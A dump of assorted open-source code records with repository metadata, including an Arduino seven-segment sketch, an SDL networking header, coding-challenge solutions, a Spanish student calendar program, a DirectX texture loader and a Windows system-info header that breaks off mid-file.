c3fedfe9aee232a23b5813ffc9761d4aab417f0a
refs/heads/master
2021-07-12T15:20:34.539133
2021-07-03T23:11:13
2021-07-03T23:11:13
224,782,643
0
0
MIT
2019-12-10T04:40:42
2019-11-29T05:27:43
C++
UTF-8
C++
false
false
1,757
ino
// https://www.datasheetarchive.com/pdf/download.php?id=143240d741a05b795bfc23691077a7c4a43b10&type=P&term=Display%25205082%25207731 const int pinDP = 8; const int pinA = 9; const int pinB = 10; const int pinC = 11; const int pinD = 12; const int pinG = 13; const int pinE = 2; const int pinF = 3; //TODO: Add in all combos int one[3] = {pinB,pinC,pinDP}; int two[6] = {pinA,pinB,pinG,pinE,pinD,pinDP}; int three[6] = {pinA,pinB,pinG,pinC,pinD,pinDP}; int four[5] = {pinF,pinG,pinB,pinC,pinDP}; int five[6] = {pinA,pinF,pinG,pinC,pinD,pinDP}; int six[6] = {pinA,pinF,pinG,pinC,pinD,pinE}; int seven[6] = {pinA,pinB,pinC,pinDP}; int eight[8] = {pinA,pinB,pinG,pinC,pinD,pinE,pinF,pinDP}; int nine[6] = {pinA,pinB,pinC,pinF,pinDP}; int* allnums[] = {one, two, three, four, five, six, seven, eight, nine}; int counter; void applyDigits(int arr[], int sizeOfArray){ resetDigits(); for ( int k = 0 ; k < sizeOfArray ; ++k ){ digitalWrite(arr[k], LOW); } } void resetDigits(){ digitalWrite(pinDP, HIGH); digitalWrite(pinA, HIGH); digitalWrite(pinB, HIGH); digitalWrite(pinC, HIGH); digitalWrite(pinD, HIGH); digitalWrite(pinE, HIGH); digitalWrite(pinF, HIGH); digitalWrite(pinG, HIGH); } void allON(){ digitalWrite(pinDP, LOW); digitalWrite(pinA, LOW); digitalWrite(pinB, LOW); digitalWrite(pinC, LOW); digitalWrite(pinD, LOW); digitalWrite(pinE, LOW); digitalWrite(pinF, LOW); digitalWrite(pinG, LOW); } void setup(){ // one = {0,1,2,3,4,5}; pinMode(pinD, OUTPUT); } void loop(){ // resetDigits(); //while(true){ // digitalWrite(pinG, LOW); //delay(1000); //digitalWrite(pinG, HIGH); //} // applyDigits(one, 2); // delay(10000); // resetDigits(); delay(1000); allON(); delay(1000); }
[ "michaelachrisco@gmail.com" ]
michaelachrisco@gmail.com
b0ab0d7410f0146d68bb1fc65ade60e5e90e462b
390f4d0ddc43fd53ef924469345c7445c7af2a33
/src/Net.h
efa761ed5855e4244b01cffc2eb5600189ee0a18
[]
no_license
larrythecow/sdl-net
8255e2d5bbffd302412131a107bc2f0960bb3b8d
5fa8839f889c9ec782ee6cb811545992f3e79880
refs/heads/master
2020-12-24T13:35:34.576444
2012-09-09T01:24:39
2012-09-09T01:24:39
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,190
h
#ifndef _NET_H_ #define _NET_H_ #include <iostream> #include <stdlib.h> #include <SDL/SDL.h> #include <SDL/SDL_net.h> #include "Ip.h" #define DIMBUFFER 1024 #define DIMCLIENT 16 #define TIMEOUT 1000; class Net { private: bool running; bool type; // 0=client; 1=server TCPsocket socket; TCPsocket socketPeer; SDLNet_SocketSet socketSetClient; Ip ipPeer; char buffer[DIMBUFFER]; int clientCount; public: Net(); ~Net(); bool init(); int clientExecute(); int serverExecute(); void cleanup(); void logic(); TCPsocket tcpOpen(); TCPsocket tcpOpen(IPaddress *); int tcpSend(); int tcpSend(TCPsocket socket, const void *); int tcpSend(TCPsocket socket, const void *, int len); IPaddress * tcpGetPeerAddress(); IPaddress * tcpGetPeerAddress(TCPsocket socket); TCPsocket tcpAccept(); TCPsocket tcpAccept(TCPsocket); SDLNet_SocketSet allocSocketSet(); SDLNet_SocketSet allocSocketSet(int maxSockets); int addSocket(); int addSocket(SDLNet_SocketSet, TCPsocket); int checkSockets(Uint32 timeout); int checkSockets(SDLNet_SocketSet set, Uint32 timeout); }; #endif
[ "sid@projekt-turm.de" ]
sid@projekt-turm.de
5ee2230dcbbe44d3e25077c2cf818b9908fd43e0
5d83739af703fb400857cecc69aadaf02e07f8d1
/Archive2/b8/e67f506759733c/main.cpp
62328ec04f73547e7b49da7e30884e3410373cc0
[]
no_license
WhiZTiM/coliru
3a6c4c0bdac566d1aa1c21818118ba70479b0f40
2c72c048846c082f943e6c7f9fa8d94aee76979f
refs/heads/master
2021-01-01T05:10:33.812560
2015-08-24T19:09:22
2015-08-24T19:09:22
56,789,706
3
0
null
null
null
null
UTF-8
C++
false
false
426
cpp
#include <boost/typeof/typeof.hpp> #include <boost/type_traits/is_same.hpp> #include <boost/type_traits/function_traits.hpp> #include <boost/static_assert.hpp> const int f_const_int() {return 1;} int main() { typedef boost::function_traits<BOOST_TYPEOF(f_const_int)>::result_type type; BOOST_STATIC_ASSERT( not boost::is_same<type, int>::value ); BOOST_STATIC_ASSERT( boost::is_same<type, const int>::value ); }
[ "francis.rammeloo@36614edc-3e3a-acb8-9062-c8ae0e4185df" ]
francis.rammeloo@36614edc-3e3a-acb8-9062-c8ae0e4185df
c7e72c68b9caa39a945249fa8ac37ec5e888d696
4de6491f34131034c57733022831f6bffba894c6
/HackerRank30dayc++/HRday8maps.cpp
eb7423ee8c91cfd72b9cbc50aa07fcaa7d71dc3d
[]
no_license
jmontoca/HackerRank30DayChallenge
32db322d99024b8c2eafd81b6d2d4ef62e666e2c
ebeb03ac2135f3b2208d0de22394bf3f753efba4
refs/heads/main
2022-12-28T21:32:52.693801
2020-10-17T04:28:02
2020-10-17T04:28:02
304,784,492
0
0
null
null
null
null
UTF-8
C++
false
false
811
cpp
#include <cmath> #include <cstdio> #include <vector> #include <iostream> #include <algorithm> #include <map> using namespace std; int main() { /* Enter your code here. Read input from STDIN. Print output to STDOUT */ int phoneBookSize; string tempName; int tempPhoneNumber; map<string, int> phoneBook; cin >> phoneBookSize; for(int i = 0; i < phoneBookSize; i++) { cin >> tempName >> tempPhoneNumber; phoneBook.insert(pair<string,int>(tempName,tempPhoneNumber)); } while(cin >> tempName) { if(phoneBook.find(tempName) != phoneBook.end()) { cout << tempName << "=" << phoneBook[tempName] << endl; } else { cout << "Not found" << endl; } } return 0; }
[ "noreply@github.com" ]
jmontoca.noreply@github.com
e927e628225cac889fd711d5b2242db4fd3131c6
0c4a749e5636df8a1bdde384a0df63b47b7f4f07
/Class 3/project7.cpp
3704aad9902b908af6c6ecd223969df5e4213462
[ "MIT" ]
permissive
Sadik326-ctrl/computer_programming
28dad2d26c8758b2dddd3198f2a35e115d37ca29
cbae264ffa04fc487008fa6a0a32e0a1a316e01e
refs/heads/master
2023-06-27T21:54:33.532239
2021-07-25T16:47:48
2021-07-25T16:47:48
364,974,600
0
0
null
null
null
null
UTF-8
C++
false
false
333
cpp
#include <iostream> using namespace std; int main(){ char Letter1,Letter2,Letter3,Letter4,Letter5; Letter1='S'; Letter2='A'; Letter3='D'; Letter4='I'; Letter5='K'; cout<<Letter1<<Letter2<<Letter3<<Letter4<<Letter5<<endl; string name; name="Ahmed Sadik Khan"; cout<<name<<endl; return 0; }
[ "ahmedsadikkhan@gmail.com" ]
ahmedsadikkhan@gmail.com
35937eac14a0aec2ab43d356af8b32ae2f69076a
0b8a045ddacc213a48c45645e7f83ca23da6fa77
/PRACTICA1FP/PRACTICA1FP/main(Corregido).cpp
be4ab561d20eaf7e7ec5a1037290a155fc5200f0
[ "MIT" ]
permissive
gejors55/Programacion-en-C-
c077279708d681c5328f77a701bfaea4ac7bf981
09253535c7107773264b89a152eccdb542d83875
refs/heads/master
2020-04-13T11:52:05.711838
2018-12-26T14:44:23
2018-12-26T14:44:23
163,185,959
0
0
null
null
null
null
WINDOWS-1252
C++
false
false
10,866
cpp
/*Alejandro Rodríguez Calzada y Jorge González Soria*/ #include <iostream> #include <string> #include <iomanip> #include <locale.h> #include <fstream> using namespace std; int menu(); int solicitaAnyo(); int solicitaMes(); int solicitaDia(int mes, int anyo); long int diasTranscurridos(int dia, int mes, int anyo); long int diasAnyosCompletos(int anyo); int diasEsteAnyo(int dia, int mes, int anyo); int contarBisiestos(int anyoInicio, int anyoFinal); int diasMes(int mes, int anyo); bool esBisiesto(int anyo); int diaSemana(long int numDias); string nombreDia(int representacionDia); string diaDeLaSemana(int dia, int mes, int anyo); int primerDomingoMes(int mes, int anyo); int domingosAnyo(int anyo); bool puentes(); string obtenerMes(int mes); bool finMes(int mes, int anyo, int domingo); bool puentesMejorado(); int main() { setlocale(LC_CTYPE, "Spanish"); // pone acentos string nombre; bool ok; int anyo, mes, dia, numDias, representacionDia,dias2,numDomingos; int opcion = menu(); while (opcion != 0){ switch (opcion) { case 1: anyo = solicitaAnyo(); mes = solicitaMes(); dia = solicitaDia(mes, anyo); numDias = diasTranscurridos(dia, mes, anyo); representacionDia = diaSemana(numDias); nombre = nombreDia(representacionDia); cout << "El día " << dia << " de " << mes << " de " << anyo << " era " << nombre << endl; break; case 2: anyo = solicitaAnyo(); dias2 = primerDomingoMes(1, anyo); cout << "El primer domingo del año " << anyo << " es el día: " << dias2 << " de enero" << endl; break; case 3: anyo = solicitaAnyo(); numDomingos = domingosAnyo(anyo); cout << " Numero total de domingos: " << numDomingos << endl; break; case 4: ///QUE TIENE QUE MOSTRAR????? ok = puentes(); if (ok) cout << "Se realizó " << endl; else cout << "No se pudo realizar " << endl; break; case 5: ok = puentesMejorado(); if (ok) cout << "Se realizó " << endl; else cout << "No se pudo realizar " << endl; break; default: break; } cout << endl; opcion = menu(); } system("pause"); return 0; } int menu(){ int op; cout << "1 – Calcular el día de la semana para una fecha dada" << endl; cout << "2 – Obtener la fecha correspondiente al primer domingo de un año" << endl; cout << "3 – Obtener los domingos de un año" << endl; cout << "4 – Obtener los posibles puentes de un año " << endl; cout << "5 - Obtener los posibles puentes de un año “mejorado”" << endl; cout << "0 - Salir" << endl; cout << "Opción: "; cin >> op; while ((op < 0) || (op > 5)){ cout << "¡Opción no válida! " << endl; cout << "Opción: "; cin >> op; } return op; } int solicitaAnyo() { int anyo; cout << "Inserte el año: "; cin >> anyo; while (anyo < 1900) { cout << "Introduzca un año válido: "; cin >> anyo; } return anyo; } int solicitaMes() { int mes; cout << "Inserte el mes: "; cin >> mes; while ((mes > 12) || (mes < 1)) { cout << "Introduzca un mes válido: "; cin >> mes; } return mes; } int solicitaDia(int mes, int anyo) { int dia; cout << "Inserte el dia: "; cin >> dia; if (mes == 2) { if (esBisiesto(anyo) == true){ while (dia > 29){ cout << "Día no válido para el mes solicitado, introduzca otro: "; cin >> dia; } } else{ while (dia > 28){ cout << "Día no válido para el mes solicitado, introduzca otro: "; cin >> dia; } } } else if (mes == 1 || mes == 3 || mes == 5 || mes == 7 || mes == 8 || mes == 10 || mes == 12) { while (dia > 31) { cout << "Día no válido para el mes solicitado, introduzca otro: "; cin >> dia; } } else while (dia > 30) { cout << "Día no válido para el mes solicitado, introduzca otro : "; cin >> dia; } return dia; } long int diasTranscurridos(int dia, int mes, int anyo) { return diasAnyosCompletos(anyo) + diasEsteAnyo(dia, mes, anyo); } long int diasAnyosCompletos(int anyo){ int numero = contarBisiestos(1900, anyo); int totalAnyos = anyo - 1900; int total = numero + (totalAnyos * 365); return total; } int diasEsteAnyo(int dia, int mes, int anyo){ int total = 0; int dias; for (int i = 1; i < mes; i++) { dias = diasMes(i, anyo); total = total + dias; } total = total + dia; return total; } int contarBisiestos(int anyoInicio, int anyoFinal){ int contador = 0; for (int i = anyoInicio; i < anyoFinal; i++){ if (esBisiesto(i) == true){ contador++; } } return contador; } int diasMes(int mes, int anyo){ int dias; if (mes == 1 || mes == 3 || mes == 5 || mes == 7 || mes == 8 || mes == 10 || mes == 12){ dias = 31; } else if (mes == 4 || mes == 6 || mes == 9 || mes == 11){ dias = 30; } else if (mes == 2){ if (esBisiesto(anyo) == true){ dias = 29; } else{ dias = 28; } } return dias; } bool esBisiesto(int anyo){ bool bisiesto; if (anyo % 4 != 0 || (anyo % 100 == 0 && anyo % 400 != 0)) bisiesto = false; else bisiesto = true; return bisiesto; } int diaSemana(long int numDias){ int num; if (numDias <= 7){ // si es uno de los primeros dias se suma 6 para que el modulo salga bien numDias = numDias + 6; } else { numDias = numDias - 1;// no se cuenta el 1 de enero de 1900, asi si lo contamos } num = numDias % 7; return num; } string nombreDia(int representacionDia){ string dia; if (representacionDia == 0){ dia = "Lunes"; } else if (representacionDia == 1){ dia = "Martes"; } else if (representacionDia == 2){ dia = "Miercoles"; } else if (representacionDia == 3){ dia = "Jueves"; } else if (representacionDia == 4){ dia = "Viernes"; } else if (representacionDia == 5){ dia = "Sabado"; } else if (representacionDia == 6){ dia = "Domingo"; } return dia; } string diaDeLaSemana(int dia, int mes, int anyo){//mal int dias = diasTranscurridos(dia, mes, anyo); int representacionDia = diaSemana(dias); string diaSemana = nombreDia(representacionDia); return diaSemana; } int primerDomingoMes(int mes, int anyo){ int diasAnuales = diasAnyosCompletos(anyo); int diasAño = diasEsteAnyo(1, mes, anyo); int totalDias = diasAnuales + diasAño; int dias = diaSemana(totalDias); //devuelve del 0-6 if (dias == 0) // Si el primer dia del mes es lunes dias = 7; //el domingo sera dia 1 else if (dias == 1) // martes dias = 6; else if (dias == 2) //miercoles dias = 5; else if (dias == 3) //jueves dias = 4 ; else if (dias == 4) //viernes dias = 3; else if (dias == 5) //sabado dias = 2 ; else { //domingo dias = 1; } return dias; } int domingosAnyo(int anyo){ string nombre; int contador = 0; bool ok; cout << setw(50) << "Domingos de " << anyo << endl; for (int i = 1; i <= 12; i++){ int domingo = primerDomingoMes(i, anyo); contador++; nombre = obtenerMes(i); cout << domingo << " de " << nombre << endl; ok = false; while (!ok){ domingo = domingo + 7; cout << domingo << " de " << nombre << endl; ok = finMes(i, anyo, domingo); contador++; } //ok = false; } return contador; } bool puentes(){ ///// AÑO >1900 , DIA DISTINTO DE DOMINGO SOLOOOO?????????????????? ifstream archivoFiestas; ofstream archivoPuentes; bool ok = true; string nombre; int anyo, mes, dia,numDias, diaSem; archivoFiestas.open("fiestas.txt"); archivoPuentes.open("puentes.txt"); if (!archivoFiestas.is_open() || !archivoPuentes.is_open()) ok = false; else{ archivoFiestas >> anyo; if (anyo < 1900){ ok = false; cout << "El año del archivo es incorrecto." << endl; } else{ archivoPuentes << anyo << endl; archivoFiestas >> dia; archivoFiestas >> mes; while ((dia != 0 && mes != 0)){ numDias = diasTranscurridos(dia, mes, anyo); diaSem = diaSemana(numDias); if (diaSem == 1 || diaSem == 3){ nombre = nombreDia(diaSem); archivoPuentes << dia << " " << mes << " " << nombre << endl; } archivoFiestas >> dia; archivoFiestas >> mes; } archivoPuentes << 0 << " " << 0 << " XXX" << endl; } } archivoPuentes.close(); archivoFiestas.close(); return ok; } string obtenerMes(int mes){ string nombre; if (mes == 1) nombre = "enero"; else if (mes == 2) nombre = "febrero"; else if (mes == 3) nombre = "marzo"; else if (mes == 4) nombre = "abril"; else if (mes == 5) nombre = "mayo"; else if (mes == 6) nombre = "junio"; else if (mes == 7) nombre = "julio"; else if (mes == 8) nombre = "agosto"; else if (mes == 9) nombre = "septiembre"; else if (mes == 10) nombre = "octubre"; else if (mes == 11) nombre = "noviembre"; else if (mes == 12) nombre = "diciembre"; return nombre; } bool finMes(int mes, int anyo, int domingo){ int diasdelMes; bool fin = false; diasdelMes = diasMes(mes, anyo); if (diasdelMes == 31 && domingo > 24) fin = true; else if (diasdelMes == 30 && domingo > 23) fin = true; else if (diasdelMes == 28 && domingo > 21) fin = true; else if (diasdelMes == 29 && domingo > 22) fin = true; else fin = false; return fin; } bool puentesMejorado(){ ifstream archivoFiestas; ofstream archivoPuentes; int posibleDia, posibleMes; bool ok = true; string nombre; int anyo, mes, dia, numDias, diaSem; archivoFiestas.open("fiestas.txt"); archivoPuentes.open("puentes.txt"); if (!archivoFiestas.is_open() || !archivoPuentes.is_open()) ok = false; else{ archivoFiestas >> anyo; if (anyo < 1900){ ok = false; cout << "El año del archivo es incorrecto." << endl; } else{ archivoPuentes << anyo << endl; archivoFiestas >> dia; archivoFiestas >> mes; while ((dia != 0 && mes != 0)){ numDias = diasTranscurridos(dia, mes, anyo); diaSem = diaSemana(numDias); if (diaSem == 0){ posibleDia = dia + 1; posibleMes = mes; } if (diaSem == 1){ if (dia != posibleDia && mes != posibleMes)) nombre = nombreDia(diaSem); archivoPuentes << dia << " " << mes << " " << nombre << endl; } if (diaSem == 3){ nombre = nombreDia(diaSem); posibleDia = dia; posibleMes = mes; } archivoFiestas >> dia; archivoFiestas >> mes; if ((diaSem == 3 ) && ((dia != posibleDia +1)&& (mes != posibleMes))){ archivoPuentes << posibleDia << " " << posibleMes << " " << nombre << endl; } } archivoPuentes << 0 << " " << 0 << " XXX" << endl; } } archivoPuentes.close(); archivoFiestas.close(); return ok; }
[ "noreply@github.com" ]
gejors55.noreply@github.com
b353c7d6e2946d954efe5888bb7090ddd4c2fd86
2124d0b0d00c3038924f5d2ad3fe14b35a1b8644
/source/GamosCore/GamosData/Data/include/GmDataFinalXS.hh
c3408c09c9a168bbc313c8c60740a6b6e7c46c31
[]
no_license
arceciemat/GAMOS
2f3059e8b0992e217aaf98b8591ef725ad654763
7db8bd6d1846733387b6cc946945f0821567662b
refs/heads/master
2023-07-08T13:31:01.021905
2023-06-26T10:57:43
2023-06-26T10:57:43
21,818,258
1
0
null
null
null
null
UTF-8
C++
false
false
358
hh
#ifndef GmDataFinalXS_hh #define GmDataFinalXS_hh #include "GamosCore/GamosData/Management/include/GmVDataString.hh" class GmDataFinalXS : public GmVDataString { public: GmDataFinalXS(); ~GmDataFinalXS(); virtual G4String GetStringValueFromStep( const G4Step* aStep ); virtual G4String GetStringValueFromTrack( const G4Track* aTrack ); }; #endif
[ "pedro.arce@ciemat.es" ]
pedro.arce@ciemat.es
e87959f041b117f692efceda3bbcce6b469f8199
067173056bdb82e8605b0ffa708ad858ae0285a4
/algorithm/434-NumberofSegmentsinaString/NumberofSegmentsinaString.cpp
7e1b33e1f47df3a1e8282d0bbbf50c3c4308d8e8
[]
no_license
AlgoPeek/leetcode
48143646d138c84a6c0d9e2ae31703bb6e997622
6676c4a89bed1982b40fdd86eed5613ebd7932b8
refs/heads/master
2021-06-09T06:39:31.001297
2020-02-28T10:11:12
2020-02-28T10:11:12
140,302,492
0
0
null
null
null
null
UTF-8
C++
false
false
1,211
cpp
// Source: https://leetcode.com/problems/number-of-segments-in-a-string/description/ // Author: Diego Lee // Date: 2018-08-17 // // Description: // Count the number of segments in a string, where a segment is defined to be a contiguous sequence of non-space characters. // // Please note that the string does not contain any non-printable characters. // // Example: // // Input: "Hello, my name is John" // Output: 5 #include <iostream> #include <string> class Solution { public: int countSegments(std::string s) { int count = 0; int pos = 0; for (int i = 0; i < s.size(); ++i) { if (s[i] == ' ') { if (i != pos) { ++count; } pos = i + 1; } else if (i == s.size() - 1) { ++count; } } return count; } }; void testCountSegments() { Solution s; int result = s.countSegments("Hello, my name is John"); assert(result == 5); } int main() { testCountSegments(); return 0; }
[ "ksc_liyong@163.com" ]
ksc_liyong@163.com
ddc95ecc12af37d94e5b55d6b5aceb94edb3ff00
30bdd8ab897e056f0fb2f9937dcf2f608c1fd06a
/CodesNew/234.cpp
da029a6b5e9e5558f3db5ace01865adfa3d6243d
[]
no_license
thegamer1907/Code_Analysis
0a2bb97a9fb5faf01d983c223d9715eb419b7519
48079e399321b585efc8a2c6a84c25e2e7a22a61
refs/heads/master
2020-05-27T01:20:55.921937
2019-11-20T11:15:11
2019-11-20T11:15:11
188,403,594
2
1
null
null
null
null
UTF-8
C++
false
false
1,328
cpp
#include <stdio.h> #include <iostream> #include <vector> using namespace std; int max(long long a, long long b) { if (a > b) return a; else return b; } int min(long long a,long long b) { if (a > b) return b; else return a; } void swap(int*pa, int*pb) { int t = *pa; *pa = *pb; *pb = t; } int get(int a) { if (a >= 'a'&&a <= 'f') return 10 + a - 'a'; else return a - '0'; } #define scanf_s scanf /*int main(void) { double a,b,c,d; scanf_s("%lf%lf%lf%lf",&a,&b,&c,&d); if (a < b) { double t = a; a = b; b = t; } if (c < d) { double t = c; c = d; d = t; } if (a*a + b*b < c*c + d*d) { printf("NO"); return 0; } if (a >= c&&b >= d) { printf("YES"); return 0; } if (a*a + b*b > (c + d)*(c + d)) { printf("YES"); return 0; } printf("NO"); return 0; }*/ int main() { int n; int t; cin >> n >> t; vector <int> a(n+1); a[0] = 0; for (int i = 1; i <= n; i++) cin>>a[i]; int d = 0; int j = 0; int max_ = 0; for (int i = 1;j<=n && i <= n; i++) { while (j<n && d + a[j+1] <= t) { d += a[j+1]; j++; } max_ = max(j - i + 1, max_); d -= a[i]; } cout << max_; return 0; }
[ "harshitagar1907@gmail.com" ]
harshitagar1907@gmail.com
e1aab18ff48a5c32bb31d3eea59efc31c516f5ad
f12e3f64c7caa0fe330b6171058a3f712e48d139
/FIT2049 - Week 4/Texture.cpp
6b74fd2f379c532d3ad5b22d4787557d4a2ff202
[]
no_license
pirow99/Ass2b
3bbc0e7c355df6eb0d512b57f7eebc4c14ba5830
e0b9ac72b0380d3780f01a85164f3963eb7a0c72
refs/heads/master
2020-03-19T02:58:43.928212
2018-06-03T05:36:02
2018-06-03T05:36:02
135,681,942
0
0
null
null
null
null
UTF-8
C++
false
false
1,346
cpp
/* FIT2049 - Example Code * Texture.cpp * Created by Elliott Wilson & Mike Yeates - 2016 - Monash University * Implementation of Texture.h */ #include "Texture.h" #include "DirectXTK/WICTextureLoader.h" #include <sstream> using namespace DirectX; Texture::Texture() { m_referenceCount = 0; m_filename = ""; m_texture = NULL; m_textureView = NULL; } Texture::~Texture() { if (m_texture) { m_texture->Release(); m_texture = NULL; } if (m_textureView) { m_textureView->Release(); m_textureView = NULL; } } bool Texture::Load(Direct3D* direct3D, const char* filename) { //This method uses the CreateWICTextureFromFile function. This function comes from the DirectXToolKit library wchar_t* wideFilename = ConvertString(filename); HRESULT result = CreateWICTextureFromFile(direct3D->GetDevice(), wideFilename, &m_texture, &m_textureView); if (FAILED(result)) { return false; } m_filename = filename; return true; } wchar_t* Texture::ConvertString(const char * str) { // Convert C string (which we like using) into a wchar_t* (which the texture loader likes) // https://msdn.microsoft.com/en-us/library/ms235631.aspx size_t newsize = strlen(str) + 1; wchar_t* wcstring = new wchar_t[newsize]; size_t convertedChars = 0; mbstowcs_s(&convertedChars, wcstring, newsize, str, _TRUNCATE); return wcstring; }
[ "39756333+pirow99@users.noreply.github.com" ]
39756333+pirow99@users.noreply.github.com
a35cc584bf682f6d79cc4b24314fd9acda65e17d
892d94d439d22613e913c6893799cc4427550f90
/include/DiggerOffline/Action.h
f401365c806b44da0af358e5eda0a1dd5c0b7dd0
[]
no_license
VovaMiller/digger-offline-2d
cc3452e06ef73070b75ed1ccc709e646e644367b
cb6d01ef5c5884a156a4ac94b4827519638411b6
refs/heads/master
2021-09-14T19:25:58.035846
2018-05-17T21:15:36
2018-05-17T21:15:36
121,681,872
0
0
null
2018-05-17T20:46:07
2018-02-15T20:56:43
null
UTF-8
C++
false
false
1,273
h
#pragma once #include <string> #include <vector> class Action { public: virtual ~Action() {} virtual void Act() = 0; }; class ActionMacro : public Action { public: virtual ~ActionMacro(); virtual void Act(); void AddAction(Action* action); private: std::vector<Action*> actions_; }; class Action_OpenMapMenu : public Action { public: virtual void Act(); }; class Action_Exit : public Action { public: virtual void Act(); }; class Action_LoadMap : public Action { public: Action_LoadMap(const std::string& map_path); std::string map_path_; virtual void Act(); }; class Action_Back : public Action { public: virtual void Act(); }; class Action_Save : public Action { public: virtual void Act(); }; class Action_Continue : public Action { public: virtual void Act(); }; class Action_Halt : public Action { public: virtual void Act(); }; class Action_PlaySound : public Action { public: Action_PlaySound(const std::string& sound_path, bool interrupt); std::string sound_path_; bool interrupt_; virtual void Act(); }; class Action_StopSound : public Action { public: Action_StopSound(const std::string& sound_path); std::string sound_path_; virtual void Act(); }; class Action_NewMap : public Action { public: virtual void Act(); };
[ "Miller.VV@phystech.edu" ]
Miller.VV@phystech.edu
44960a9d2737ccc50e42f2d4548cd50b21e62c27
30150c7f6ed7a10ac50eee3f40101bc3165ebf9e
/src/installer/sysinfo.h
33af8aec9ff63dc6ce75984b5e4d1230882b6529
[]
no_license
toontown-restoration-project/toontown
c2ad0d552cb9d5d3232ae6941e28f00c11ca3aa8
9bef6d9f823b2c12a176b33518eaa51ddbe3fd2f
refs/heads/master
2022-12-23T19:46:16.697036
2020-10-02T20:17:09
2020-10-02T20:17:09
300,672,330
0
0
null
null
null
null
UTF-8
C++
false
false
7,490
h
// Filename: sysinfo.h // Created by: jimbob (09Jan97) // $Id$ // //////////////////////////////////////////////////////////////////// #ifndef SYSINFO_H #define SYSINFO_H // //////////////////////////////////////////////////////////////////// // Includes //////////////////////////////////////////////////////////////////// #undef WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdlib.h> #include <stdio.h> #include <ddraw.h> #include <psapi.h> #include <string> #include <sstream> // stringstream easier to use than strstream, no memleaks or 'ends' reqd using namespace std; HRESULT DxDiag_Init(void); HRESULT PrintDxDiagDisplayInfo(void); //////////////////////////////////////////////////////////////////// // Class : SysInfo // Description : //////////////////////////////////////////////////////////////////// class SysInfo { public: #include "sysinfodefs.h" public: ostringstream _gfx_report_str; SysInfo(void); SysInfo::~SysInfo(void); bool write_log_file(const char *logfilename); static bool get_available_space(const char *dirname, unsigned __int64 &free_bytes); // inline OSType get_os_type(void) const { return os_type; } static OSType get_os_type(void); static float get_os_servicepack_version(void); string get_os_namestr(void); // inline CPUType get_cpu_type(void) const { return cpu_type; } // inline int get_cpu_level(void) const { return cpu_level; } inline bool get_mouse_enabled(void) const { return _mouse_enabled; } void check_language_info(void); bool has_custom_mousecursor_ability(void) const { return _bHas_custom_mousecursor_ability; } inline float get_ram_megs_total(void) const { return _ram_megs_total; } inline GAPIType get_suggested_gfx_api(void) const { return _gfx_api_suggested; } string get_gfx_api_name(GAPIType gapi) const; inline bool get_3d_hw(void) const { return _has_3d_hw; } inline bool get_sound_enabled(void) const { return _sound_enabled; } inline int get_max_baud(void) const { return _comm_baud; } #if defined(USE_DX9) void Test_DX9(bool bWhatever); #endif void Test_DX8(bool bIsDX81); #if defined(USE_DX7) void Test_DX7(bool bPrintUserErrors); #endif void Test_OpenGL(void); bool ValidateCardTypeandDriver(void); bool IsBadVidMemCheckCard(DDDEVICEIDENTIFIER2 *pDevInfo); DWORD GetVidMemSizeFromRegistry(void); void CheckForBadMouseCursorDriver(void); GAPIType GetPreferredGAPI(void) const; void PrintProcessMemInfo(HANDLE hProcess); // static so we dont have to do the 'run TT' path to get this info static void print_os_info(void); static bool IsNTAdmin(void); // const char *GetGraphicsCardCanonicalName(void); void SetVideoCardConfigInfo(UINT AdapterNum, DDDEVICEIDENTIFIER2 *pDeviceID,SYSTEMTIME *pDriverDate_SysTime); void PrintNo3DHWMsg(void); void SetGeneric3DError(char *LogError); protected: void check_os(void); void check_cpu(void); void check_mouse(void); void check_ram(void); void check_3d_hw(void); void check_snd(void); void check_net_connection(void); int get_commport_baud(const char *cportname); void get_country_info(HINSTANCE hKernel); public: string _CPUNameStr,_CPUMakerStr,_CPUTypeStr; DWORD _NumCPUs, _CPUMhz; OSType _os_type; float _OSServicePackVer; // e.g. 3.5 if service pack 3, minor ver 5 is installed bool _mouse_enabled; int _mouse_buttons; bool _bHas_custom_mousecursor_ability; float _ram_megs_total; float _ram_megs_available; bool _has_3d_hw; bool _forbidOpenGL; // dbg flag GAPIType _dx_level_installed; GAPIType _gfx_api_suggested; // what we tell configrc.exe #if defined(USE_DX7) GfxCheckStatus _DX7_status; #endif GfxCheckStatus _DX8_status,_OpenGL_status; #if defined(USE_DX9) GfxCheckStatus _DX9_status; #endif DDDEVICEIDENTIFIER2 _VideoDeviceID; SYSTEMTIME _VideoDriverDate; bool _bValidVideoDeviceID; // GfxCardType _graphics_card_type; string _DXVerStr; bool _sound_enabled; CommType _comm_type; int _comm_baud; time_t _startup_time; HINSTANCE _hPsAPI; bool _bNetworkIsLAN; string _KeybdLayoutStr; string _LangIDStr; string _LocaleIDStr; string _CountryNameStr; string _IEVersionStr; double _IEVersionNum; // float so you can represent IE 5.5, etc string _IPAddrStr; string _MACAddrStr; string _VideoCardNameStr; DWORD _VideoCardVendorID; string _VideoCardVendorIDStr; DWORD _VideoCardDeviceID; string _VideoCardDeviceIDStr; DWORD _VideoCardSubsysID; string _VideoCardSubsysIDStr; DWORD _VideoCardRevisionID; string _VideoCardRevisionIDStr; string _VideoCardDriverDateStr; string _VideoCardDriverVerStr; DWORD _VideoCardDriverDateMon; DWORD _VideoCardDriverDateDay; DWORD _VideoCardDriverDateYear; bool _bDoneVidMemCheck; DWORD _VideoRamTotalBytes; DWORD _numMonitors; string _OGLVendorNameStr; string _OGLRendererNameStr; string _OGLVerStr; /* this stuff must come from configrc via the registry string _ScreenModeStr; */ // 1 string contains fields for all devices. may want to break this out further l8r string _MidiOutAllDevicesStr; string _DSoundDevicesStr; // catch-all string for all other unanticipated data to store on stat server string _ExtraStr; // MS misspelt 'performance' in psapi.h. duh. typedef BOOL (WINAPI *GETPERFINFO)(PPERFORMACE_INFORMATION pPerformanceInformation,DWORD cb); typedef BOOL (WINAPI *GETPROCESSMEMORYINFO)(HANDLE Process,PPROCESS_MEMORY_COUNTERS ppsmemCounters,DWORD cb); typedef void (WINAPI *GNSI)(LPSYSTEM_INFO si); GETPERFINFO _pGetPerfInfo; GETPROCESSMEMORYINFO _pGetProcessMemoryInfo; GNSI _pGetSystemInfo; static GNSI getSystemInfoProc(); }; #define SET_USER_ERROR(LOGSTR,USERSTR) { \ errorLog << LOGSTR << std::endl; \ _gfx_report_str << USERSTR << std::endl; } #define ONE_MB_BYTES (1<<20) #define SAFE_RELEASE(P) { if((P)!=NULL) { (P)->Release(); (P) = NULL; } } #define SAFE_FREELIB(hLIB) { if((hLIB)!=NULL) 